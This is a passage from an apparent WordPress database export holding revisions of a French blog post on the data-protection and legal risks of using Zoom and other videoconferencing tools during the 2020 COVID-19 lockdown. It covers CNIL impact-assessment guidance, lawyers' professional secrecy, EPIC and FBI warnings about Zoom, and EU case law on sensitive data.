rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant, les cris d’alarmes continuent à se faire entendre contre\nl’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“</em><em><a href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\" rel=\"noreferrer noopener\">Jonathan\nLeitschuh</a>, exposed a\nflaw allowing hackers to&nbsp;<a href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\" rel=\"noreferrer noopener\">take over Zoom\nwebcams</a>. The letter\nnoted that the company did not address problem until after the Electronic\nPrivacy Information Center, a public interest research center,&nbsp;<a href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\" rel=\"noreferrer noopener\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade\nCommission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;</em><em><a href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\" rel=\"noreferrer noopener\">Zoom</a>&nbsp;intentionally designed its web\nconferencing service to bypass browser security settings and remotely enable a\nuser\'s web camera without the knowledge or consent of the user. As a result,\nZoom exposed users to the risk of remote surveillance, unwanted videocalls, and\ndenial-of-service attacks,” the complaint alleged.</em>” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it</a></li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for\nOnline Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC\nto \"open an investigation of Zoom\'s business practices and to issue, as\nsoon as practicable, Best Practices for Online Conferencing Services.\"\nHere’s the press release: </em><em><a href=\"https://lnkd.in/epjxHgw\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/epjxHgw</strong></a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></h1>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing.\n“Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds\nof profane and racist comments. Needless to say, I am familiarizing myself with\nthese platforms’ privacy and security features, too. My office has been in\ncontact with representatives from Zoom to address this and other issues relating\nto online security and privacy,” said Attorney General Tong. “ In the meantime,\nAttorney General Tong encouraged everyone to practice safer video conferencing\nby: • Ensuring that your video conference software is up to date. • Confirming\nthat your conferences are private, either by requiring a password for entry or\ncontrolling guest access through a virtual waiting room. • Checking that the\nhighest security settings are applied for your teleconference platform. •\nConsult your software company’s security information or your IT department.\nHere\'s the press release: </em><em><a href=\"https://lnkd.in/gRcq9x2\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/gRcq9x2</strong></a><strong>”</strong></em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être\nla responsabilité des juristes en matière de traitement des données consécutifs\na l’utilisation d’une application qui a ete soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La CNIL explique&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L\'AIPD&nbsp;se décompose\nen trois parties :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Une description\ndétaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects\ntechniques qu’opérationnels</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’évaluation, de nature\nplus juridique, de la nécessité et de la proportionnalité concernant les\nprincipes et droits fondamentaux&nbsp; (finalité, données et durées de\nconservation, information et droits des personnes, etc.) non négociables, qui\nsont fixés par la loi et doivent être respectés, quels que soient les risques ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus\ntechnique, des risques sur la sécurité des données&nbsp;(confidentialité,\nintégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur\nla vie privée, qui permet de déterminer les mesures techniques et\norganisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nenvisagé figure dans&nbsp;</em><a href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\" rel=\"noreferrer noopener\"><em>la liste des types\nd’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a\nestimé obligatoire de réaliser une analyse d’impact relative à la protection\ndes données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage\nà la mise en cause de sa responsabilité. Les ordres professionnels doivent être\nsensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une\nsolution conforme aux exigences du règlement. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées à celui-ci, les correspondances échangées entre le client\net son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières\nde celles portant la mention « officielle », les notes d’entretien et, plus\ngénéralement, toutes les pièces du dossier sont couvertes par le secret professionnel\n»</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La <a href=\"https://www.cnil.fr/fr/salaries-en-teletravail-quelles-sont-les-bonnes-pratiques-suivre\">CNIL</a>\ncomme d’autres autorités de protection nationale ont produit des guides en ce\nsens. Ici le document produit par le <a href=\"https://www.dataprotection.ie/en/news-media/blogs/data-protection-tips-video-conferencing\">Irish\nData Protection Commissionner</a>. Une <a href=\"https://www.ssi.gouv.fr/guide/recommandations-sur-la-securisation-des-systemes-de-controle-dacces-physique-et-de-videoprotection/\">recommendation\nde la part de ANSSI</a> est également disponible. <a href=\"https://www.enisa.europa.eu/tips-for-cybersecurity-when-working-from-home\">ENISA</a>\n‘<em>cybersecurity when working from home’</em>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>L’utilisation de l’application Zoom n’a pas manqué d’ores et déjà de voir\nle jour à des procès en responsabilité&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.secureworldexpo.com/industry-news/zoom-sued-over-privacy-announces-cybersecurity-upgrades\">Zoom\nSued Over Privacy, Announces Cybersecurity Upgrades</a></em></li><li><em>The Facebook API kerfuffle resulted in a&nbsp;</em><em><a href=\"https://www.theregister.co.uk/2020/04/01/zoom_spotlight/\" target=\"_blank\" rel=\"noreferrer noopener\">lawsuit</a>&nbsp;[PDF], filed on Monday in\nCalifornia. The plaintiff in this case, Robert Cullen of Sacramento,\nCalifornia, The Register</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Brittany\nRoush, Director at the Crypsis Group, said</a> : \"that having that kind of\nflexibility to ensure that critical services can carry on, especially in a\ncrisis, does not take the teeth from the CCPA and GDPR. If anything, it\ndemonstrates that the regulatory bodies are carrying out their essential\nfunction -- which is to ensure that companies protect consumer data... In many\nways, the CCPA and GDPR should take a page from HIPAA, which lowered security\nstandards for telehealth in order to manage the critical healthcare demands of\nthe pandemic... we do not have the luxury of time on our side to devise perfect\nsolutions.\"</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quels sont les solutions\nalternatives ?</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Zoom alternatives :</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://jitsi.org/jitsi-meet/\">Jitsi</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.tixeo.com/\">Tixeo</a> recommende par l’ANSSI</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://bigbluebutton.org/\">BigBlueButton</a>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.visio-avocats.com/\">Visio-avocats</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pages.bluejeans.com/video-conferencing-trial.html?utm_source=google&amp;utm_medium=cpc&amp;personsource=paid_search&amp;utm_content=TrialLP&amp;utm_term=%2Bbluejeans%20%2Bconference&amp;utm_campaign=EMEA%20-%20Branded%20General&amp;utm_adgroup=EMEA%20-%20Branded%20General%20-%20BlueJeans%20Business\">BlueJeans</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://www.skype.com/en/\">Skype</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.gotomeeting.com/en-gb/lp/easy-online-meetings?cid=g2m_emea_ggs_cpc_brand_gotomeeting_e\">GotoMeeting</a> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <a href=\"https://products.office.com/en-gb/microsoft-teams/group-chat-software\">Teams</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.cisco.com/c/en_uk/solutions/collaboration/working-from-home.html?dtid=pseggl000183&amp;oid=trlco020841&amp;ccid=cc000703&amp;gclsrc=ds&amp;gclsrc=ds\">Webex</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>TABLEAU A INSERER<a href=\"https://awallon.com:15001/?launchApp=SYNO.SDS.PDFViewer.Application&amp;SynoToken=jDFRGhbLjqYXI&amp;launchParam=name%3DRGPD01_B1_01_PW.xlsx%26getUrlFn%3D%257B%2522async%2522%253Atrue%252C%2522fn%2522%253A%2522SYNO.SDS.DocumentViewer.FBExt.startPolling%2522%252C%2522args%2522%253A%255B%2522%2540users%252FChat5E8CDA5B8CC7B39%2522%252C%2522webapi%252Fentry.cgi%253Fapi%253DSYNO.DocumentViewer.Convert%2526method%253Dget_thirdparty%2526version%253D1%2526task_id%253D%252522%252540users%25252FChat5E8CDA5B8CC7B39%252522%2526SynoToken%253DjDFRGhbLjqYXI%2522%255D%257D\">https://awallon.com:15001/?launchApp=SYNO.SDS.PDFViewer.Application&amp;SynoToken=jDFRGhbLjqYXI&amp;launchParam=name%3DRGPD01_B1_01_PW.xlsx%26getUrlFn%3D%257B%2522async%2522%253Atrue%252C%2522fn%2522%253A%2522SYNO.SDS.DocumentViewer.FBExt.startPolling%2522%252C%2522args%2522%253A%255B%2522%2540users%252FChat5E8CDA5B8CC7B39%2522%252C%2522webapi%252Fentry.cgi%253Fapi%253DSYNO.DocumentViewer.Convert%2526method%253Dget_thirdparty%2526version%253D1%2526task_id%253D%252522%252540users%25252FChat5E8CDA5B8CC7B39%252522%2526SynoToken%253DjDFRGhbLjqYXI%2522%255D%257D</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:embed {\"url\":\"https:\\/\\/noyb.eu\\/sites\\/default\\/files\\/2020-04\\/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\"} -->\n<figure class=\"wp-block-embed\"><div class=\"wp-block-embed__wrapper\">\nhttps://noyb.eu/sites/default/files/2020-04/noyb_-_report_on_privacy_policies_of_video_conferencing_tools_2020-04-02_0.pdf\n</div></figure>\n<!-- /wp:embed -->\n\n<!-- wp:paragraph -->\n<p>Si vous teniez malgré\ntout à continuer à utiliser cette application, voici des conseils sur comment\nutiliser Zoom avec plus de sécurité :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":1} -->\n<h1>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<em><a href=\"/www.holgernilspohl.com/blog/how-to-keep-you-virtual-zoom-meetings-safe\">How\nto keep your Virtual (Zoom) Meetings safe</a></em><em>:</em></h1>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><li><em>Data Protection Tips for Video-conferencing. By the </em><em><a href=\"https://www.linkedin.com/company/data-protection-commissioner-of-ireland/\"><strong>Data Protection Commission\nIreland</strong></a>. In light of the recent\nincrease in remote working, necessitated by COVID-19 mitigation measures, as\nwell as the increased numbers keeping in touch online with friends and family,\nthe number of people video-conferencing and video-calling has increased\ndramatically. This has also resulted in people using apps and services which\nthey might not have used before, or are now using for different reasons – i.e. using\nan app they usually use for personal purposes now for work purposes or vice\nversa. Concerns have been raised about how to use these technologies to keep in\ntouch with colleagues and loved ones in a way that is safe and secure, and\nensures an adequate standard of data protection. Here are some tips to help\nboth individuals and organisations (such as employers who might introduce new\nor increased videoconferencing arrangements for employees) use these services\nin a safe manner: <a href=\"https://lnkd.in/e8mpd8n\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>https://lnkd.in/e8mpd8n</strong></a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->','','','inherit','closed','closed','','601-revision-v1','','','2020-04-07 20:55:04','2020-04-07 19:55:04','',601,'https://datarainbow.eu/2020/04/07/601-revision-v1/',0,'revision','',0),(608,5,'2020-04-07 20:57:42','2020-04-07 19:57:42','<!-- wp:paragraph -->\n<p><strong>Regard Sur Les Nombreuses Considérations Avant L’utilisation D’un Mode De Visio-Conférence</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Analysons\nles principales conséquences juridiques liées à l’utilisation de l’application de\nvidéo-conférence gratuite Zoom devenue très populaire qui est passée de 20 à\n200 millions d’utilisateurs en l’espace de quelques jours, propulsée par les\nbesoins du confinement et télétravail imposés par la pandémique du Covid-19.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout\nd’abord, de manière schématique, quatre catégories de données sont concernées\navec partage plus ou moins volontaire&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données des organisateurs, </li><li>Les données des invités,</li><li>Les données des tiers mentionnés durant la visio-conférence,</li><li>Les données concernant les mineurs.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Parmi elles, deux catégories de données\n:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles répondent à la définition relativement large de <strong>l’art.\n4</strong> [_<a href=\"https://awallon.com:15001/d/s/546473809629196514/4CyJONSTRVux8h1S1hlAemABjAOhOhVp-Xb6AlDaplgc_\">RGPD04</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:list -->\n<ul><li>Les données dites de catégorie spéciale ou données sensibles, qui en\nprincipe ne doivent pas être traitées sauf exception. Le traitement de ces données\nsont strictement encadrés car sujet à une protection accrue telle que définie à\n<strong>l’art. 9</strong> [_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\">RGPD09</a>_] </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les données biométriques\net autres données de caractère spéciale traitées à l’occasion de l’utilisation\ndes vidéo-conférences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Les données traitées\npar un enregistrement vidéo peuvent-être considérées comme des données ‘biométriques’\nlorsque les images peuvent en être détournées pour être utilisables à fin d’identification\ndes personnes.<strong></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Selon la\nJurisprudence de la Cour Européenne de Justice, C-101/01 (6 novembre 2003)&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>Données personnelles</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'opération consistant\nà faire référence, sur une page Internet, à diverses personnes et à les\nidentifier soit par leur nom, soit par d\'autres moyens, par exemple leur numéro\nde téléphone ou des informations relatives à leurs conditions de travail et à\nleurs passe-temps, constitue un «traitement de données à caractère personnel,\nautomatisé en tout ou en partie,» au sens de l\'article&nbsp;3,\nparagraphe&nbsp;1, de la directive 95/46 /CE du Parlement européen et du\nConseil, du 24 octobre 1995, relative à la protection des personnes physiques à\nl\'égard du traitement des données à caractère personnel et à la libre\ncirculation de ces données .”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Les données personnelles de catégories spéciales\nou sensitives.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;L\'indication\ndu fait qu\'une personne s\'est blessée au pied et est en congé de maladie\npartiel constitue une donnée à caractère personnel relative à la santé au sens\nde l\'article&nbsp;8, paragraphe&nbsp;1, de la directive 95/46.&nbsp;»</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cet arrêt a été rendu en application\nde la Directive, antérieure à l’entrée en vigueur du RGDP mais reste applicable.\nLes données précédemment notamment de santé, répertoriées comme des données\n‘sensibles’, sont désormais des données de catégorie spéciale <strong>art 9</strong> <strong>[_<a href=\"https://awallon.com:15001/d/s/546473888708604345/9YWV_GdD27JLwaE5FTLH9oLRVF7a6aPB-NrfALC95lgc_\" target=\"_blank\" rel=\"noreferrer noopener\">RGPD09</a>_]</strong>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Ce\npoint a été rappelé par une décision récente du <a href=\"https://forum.technopolice.fr/assets/uploads/files/1582802422930-1090394890_1901249.pdf\">Conseil\nd’Etat en date du 27 Février 2020</a> concernant la reconnaissance faciale dans\nles écoles.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Selon le CE&nbsp;: <em>(51)\n</em><em>Les données à caractère personnel qui sont, par\nnature, particulièrement sensibles du point de vue des libertés et des droits\nfondamentaux méritent une protection spécifique, car le contexte dans lequel\nelles sont traitées pourrait engendrer des risques importants pour ces libertés\net droits. Ces données à caractère personnel devraient comprendre les données à\ncaractère personnel qui révèlent l\'origine raciale ou ethnique, étant entendu\nque l\'utilisation de l\'expression «origine raciale» dans le présent règlement\nn\'implique pas que l\'Union adhère à des théories tendant à établir l\'existence\nde races humaines distinctes. Le traitement des photographies ne devrait pas\nsystématiquement être considéré comme constituant un traitement de catégories\nparticulières de données à caractère personnel, étant donné que celles-ci <strong>ne\nrelèvent de la définition de données biométriques que lorsqu\'elles sont\ntraitées selon un mode technique spécifique permettant l\'identification ou\nl\'authentification unique d\'une personne physique</strong>. De telles données à\ncaractère personnel ne devraient pas faire l\'objet d\'un traitement, à moins que\ncelui-ci ne soit autorisé dans des cas spécifiques prévus par le présent\nrèglement, compte tenu du fait que le droit d\'un État membre peut prévoir des\ndispositions spécifiques relatives à la protection des données visant à adapter\nl\'application des règles du présent règlement en vue de respecter une\nobligation légale ou pour l\'exécution d\'une mission d\'intérêt public ou\nrelevant de l\'exercice de l\'autorité publique dont est investi le responsable\ndu traitement. Outre les exigences spécifiques applicables à ce traitement, les\nprincipes généraux et les autres règles du présent règlement devraient s\'appliquer,\nen particulier en ce qui 